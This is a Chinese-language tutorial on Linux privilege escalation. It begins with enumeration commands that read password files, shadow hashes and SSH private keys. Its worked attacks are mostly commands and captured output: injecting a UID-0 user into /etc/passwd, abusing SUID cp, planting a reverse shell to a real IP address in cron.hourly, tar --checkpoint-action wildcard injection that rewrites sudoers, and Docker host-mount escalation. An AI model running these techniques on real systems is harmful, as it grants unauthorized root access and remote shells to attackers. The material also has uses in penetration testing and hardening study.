浅谈提权

这些天更新了不少文章,也无心再写前言,那么让我们开始

linux提权信息收集

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

内核,操作系统,设备信息

1
2
3
4
5
6
7
8
9
10
11
12
uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-

用户群组

1
2
3
4
5
6
7
8
9
10
11
cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完

权限

1
2
3
4
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

环境信息

1
2
3
4
5
6
7
8
9
10
11
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

进程与服务

1
2
3
4
5
6
7
ps aux
ps -ef
top
cat /etc/services
#root 进程
ps aux | grep root
ps -ef | grep root

查看安装软件

1
2
3
4
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

查看计划任务

1
2
3
4
5
6
7
8
9
10
11
12
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

明文存放用户密码

1
2
3
4
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

存在ssh密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

查看与当前机器通信的其他用户或者主机

1
2
3
4
5
6
7
8
9
10
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

可提权SUID && GUID

1
2
3
4
5
6
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUIDfor i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

查看可写/执行目录

1
2
3
4
5
6
7
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

安装过的工具

1
2
3
4
find / -name perl*
find / -name python*
find / -name gcc*
...

Sudo 版本安装

wget链接

提权查询网站

反弹shell

https://www.hackingarticles.in/privilege-escalation-cheatsheet-vulnhub/ ALL

linux提权基础

/etc/passwd

在etc目录中,我们将得到三个最重要的文件,即passwdgroupshadow

etc/passwd:它是一个可读的文本文件,存储用户帐户的信息

etc/group:也是一个可读的文本文件,它存储组信息以及用户所属的组,可以通过该文件识别。

etc/shadow:它是一个包含加密密码的文件。

/passwd: 文件中的详细信息格式

a8142125-9307-49dd-bd2d-152c79efbc51.png

1ad1d330-f3b7-4df5-a702-25668f98a96f.png

Username:第一个字段表示用于登录用户的名称

Encrypted password:x表示加密密码,实际存储在/shadow文件中。如果用户没有密码,则密码字段将用*(星号)表示

User Id (UID):必须为每个用户分配一个用户ID(UID)。Uid 0(零)为root用户保留,UID 1-99为进一步的预定义帐户保留,UID 100-999为管理目的由系统保留。UID 1000几乎是第一个非系统用户,通常是管理员。如果我们在Ubuntu系统上创建一个新用户,它将被赋予UID 1001

Group Id (GID):表示每个用户的组;与UID一样,前100个GID通常保留以供系统使用。GID为0与root组相关,GID为1000通常表示用户。新组通常分配GID从1000开始

Home Directory:表示用户主目录的路径,其中存储用户的所有文件和程序。如果没有指定的目录,则/将成为用户的目录

Shell:它表示(由用户)执行命令并显示结果的默认shell的完整路径

注意:每个字段用(冒号)分隔

1
/etc/passwd 文件手动编辑用户

一般来说/etc/passwd root可读写 普通用户仅可读 有时权限配置不当导致普通用户可写即可完成提权

1
test233:*:1002:1003:,,,:/home/test233:/bin/bash  #将用户添加入文件中

在上文中我们也为用户分配了GID 1003 因此我们也需要修改/etc/group文件进行处理

username:x:gid 因为没有密码在 X 处使用 *

1
2
3
4
test233:*:1003:
passwd test233 #使用命令为新用户设置密码

test233:$6$1pgiiT8cTCe33hEk$Bb6J5bHq5/jnmsGVeXB7X3a4a0EXdwukHBQ4ydOAPLYLYb049zytIHhKIoy/Dm5XzGgfdrDw21UL$Dw21ULwu0SOJbvC/:1002:1003:,,,:/home/test233:/bin/bash

由于我们在不使用adduser命令的情况下手动创建了一个新用户,因此在/etc/shadow文件中找不到任何有关信息。但是它在/etc/passwd文件中,此处*符号已被加密密码值替换。通过这种方式,我们可以创建自己的用户以进行权限提升。

OpenSSL

有时无法执行passwd命令来设置用户的密码; 在这种情况下,我们可以使用OpenSSL命令,它将使用salt生成加密密码。

OpenSSL passwd将使用salt字符串和基于MD5的BSD密码算法1计算指定密码的哈希值

1
2
3
4
5
6
7
8
openssl passwd -1 -salt test233 test233
test233:$1$test233$Bo1eLjWv5SQpWrAQPRG7z1:0:0:,,,:root/root:/bin/bash
test@hecs:~/exp$ su test233
Password:
root@hecs:/home/test/exp# whoami
root
root@hecs:/home/test/exp# exit
test@hecs:~/exp$
mkpasswd

mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。

1
mkpasswd -m SHA-512 pass
Python
1
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
Perl
1
perl -le 'print crypt("pass123", "abc")'
PHP
1
php -r "print(crypt('aarti','123') . \"\n\");"
ruby
1
ruby -r ‘digest’ -e ‘puts “pass”.crypt(“$6$salt”)’

SUID

SUID:设置用户ID是一种权限,允许用户以指定用户的权限执行文件。那些具有suid权限的文件以更高的权限运行。假设我们以非 root 用户身份访问目标系统,并且发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以使用 root 权限运行。

可以使用“数字”方法或“符号”方法更改任何文件的权限。结果,它将替换 s 中的 x,如下图所示,这表示对特定文件/命令具有更高权限的特殊执行权限。由于我们为所有者(用户)启用 SUID,因此将在读/写/执行操作之前添加位 4符号 s

1
chmod 4755 {file} or chmod u+s {file}

使用文件名执行ls -al,然后观察到“s”符号,则表示该文件已启用 SUID 位,并且可以使用 root 权限执行。

1
rwsr_xr_x

find / -perm -u=s -type f 2>/dev/null 枚举具有 SUID 权限的所有二进制文件

1
2
3
4
5
6
7
8
/表示从文件系统的顶部(根)开始查找每个目录
-perm 表示搜索后面的权限
-u=s表示查找 root 用户拥有的文件
-type表示我们要查找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

在 Linux 中,如果启用了 SUID 位,非 root 用户可以使用一些现有的二进制文件和命令来升级 root 访问权限。有一些常用可执行命令可以允许权限升级:Bash、Cat、cp、echo、find、Less、More、Nano、Nmap、Vim 等

1
2
id 清楚我们的老员工
uid=1000(test) gid=1000(test) groups=1000(test)
cp

https://www.hackingarticles.in/linux-for-pentester-cp-privilege-escalation/

1
2
ls -al /bin/cp      #-rwxr-xr-x 1 root root  /bin/cp
chmod u+s /bin/cp #-rwsr-xr-x 1 root root /bin/cp

1.覆盖passwd

1
2
3
4
5
6
7
8
9
cp /etc/passwd /home/test
test@:~$ ls
exp passwd
使用上文的 test233:$1$test233$Bo1eLjWv5SQpWrAQPRG7z1:0:0:,,,:root/root:/bin/bash 加入root用户
此时passwd文件可读 复制下来并且将新用户添加其中
cp passwd /etc/passwd
test@:~$ su test233
Password:
root@:/home/test#

2.反弹shell

1
2
3
4
5
6
7
8
9
#!/bin/bash
sh -i >& /dev/tcp/124.220.72.154/3307 0>&1
Linux crontab实用程序每小时、每天、每周和每月运行文件,所以将getshell复制到/etc/cron.hourly,这样它将在一小时后运行
ls -al /etc/cron.hourly/
total 16
drwxr-xr-x 2 root root 4096 Jul 30 16:48 .
drwxr-xr-x 90 root root 4096 Jul 30 16:33 ..
-rw-r--r-- 1 root test 55 Jul 30 16:48 getshell
-rw-r--r-- 1 root root 102 Jun 24 2019 .placeholder

每小时17分,它就以 root 权限提供了目标系统的反向连接 当然记得添加可执行权限

1
2
3
4
5
6
7
8
nc -lvp 3307
listening on [any] 3307 ...
Warning: forward host lookup failed for ecs-123-249-78-254.compute.hwclouds-dns.com: Unknown host
connect to [10.0.28.4] from ecs-123-249-78-254.compute.hwclouds-dns.com [123.249.78.254] 38878
sh: 0: can't access tty; job control turned off
# whoami
root
#
Find
1
2
find getshell -exec "whoami" \;
root
vim/nano

1、在/etc/sudoers 添加 user ALL=(ALL:ALL) ALL sudo bash 即可

2、 如上文利用/etc/passwd 增加root新用户

3、从 /etc/shadow 文件中窃取密码

1
$6$TMsyLulXpByO14xC$xJ89X.JsqGavfEYeGIFxaoyGdeRIAuyjTYzEtM5CNQU/2LdI$U/2LdILuBrz5RLEu4nu1vIdRprpEpe8ovYeQcxaHsLz0

使用 John the ripper 对其进行解码

SUDO 滥用

sudo滥用本质上和SUID差不多 都是拥有root权限的命令 通过恶意构造返回rootshell

请严格划分sudo权限

e0b48f3b-39d1-43e4-8210-6776fe437227.png

1
user ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

Capability

如上 本质上和SUID仍然差不多 ,不过可以通过多种操作来提高Linux系统的安全性。其中一项措施称为 Linux 功能,由内核维护。换句话说,我们可以说它们有点难以理解,但原理上与SUID类似。Linux 的线程权限检查是基于能力的。root权限的命令可以设置给具体用户。

1
setcap cap_setuid+ep /home/demo/python3

查看当前用户有特殊权限使用以下语句递归查找

1
getcap -r/2>/dev/null

Crontab

通配符

通配符是一种特殊语句,主要有型号(*)和问号(?),用来对字符串进行模糊匹配(比如文件名,参数名)。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。

终端里面输入的通配符是由Shell处理的,不是由所涉及到命令语句处理的,它只会出现在命令的“参数值”里(它不用在命令名称里,命令不记得,那就用Tab补全)。当Shell在“参数值”中遇到了通配符时,Shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符实际上就是一种Shell实现的路径扩展功能。在通配符被处理后,Shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。

部分通配符:

  • ***** 代表任意多个字符

? 代表任意单个字符

[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写。

代表一个字符。

~ 用户的根目录。

1
通配符在野

首先我们都知道 指令是有参数的

1
2
3
4
cat --help
Usage: cat [OPTION]... [FILE]...
Concatenate FILE(s) to standard output.
With no FILE, or when FILE is -, read standard input.

而正常使用的时候 cat <file> 如果我们把文件名改为 –help 会发生什么呢

1
2
3
4
5
6
7
echo ' ' > --help
test@hecs-235922:~/test1024$ ls
--help
cat *
Usage: cat [OPTION]... [FILE]...
Concatenate FILE(s) to standard output.
With no FILE, or when FILE is -, read standard input.

按照命令 是 cat 目录中的所有文件 此时目录中只有一个文件 --help 此时的命令就变成了 cat --help

–help文件中的内容却无法读取,而是从自己的库中调用了自己的–help选项输出,这种技巧被称之为Wildcard wildness(通配符在野)

Tar 通配符注入

由于在crontab中tar是以root权限运行的,所以返回的shell都为root

ar命令有两个参数 –checkpoint –checkpoint-action

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)

–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

这里的‘–checkpoint-action’选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令

首先创建 定时任务 nano /etc/crontab

1
*/1 *   * * *   root    cd /home/test/1024 && tar cf test.tar *
SUID
1
2
3
4
5
6
echo "chmod u+s /usr/bin/find" > test.sh 
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1

find shell.sh -exec "whoami" \;
root
Sudoers
1
2
3
4
5
6
7
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > test.sh 
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint= 1

sudo -l
sudo bash -p
whoami
反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
把上文反弹shell的脚本拿过来
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

nc -lvp 3307
listening on [any] 3307 ...

Warning: forward host lookup failed for ecs-123-249-78-254.compute.hwclouds-dns.com: Unknown host
connect to [10.0.28.4] from ecs-123-249-78-254.compute.hwclouds-dns.com [123.249.78.254] 45268
sh: cannot set terminal process group (32666): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.0#
sh-5.0# whoami
whoami
root
Docker 提权

通过目录挂载 进入容器后默认root 有权限查看修改 passwd shadow sudoers 懂得都懂

1
docker run -it -v /etc:/etc ubuntu

一键提权

1
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease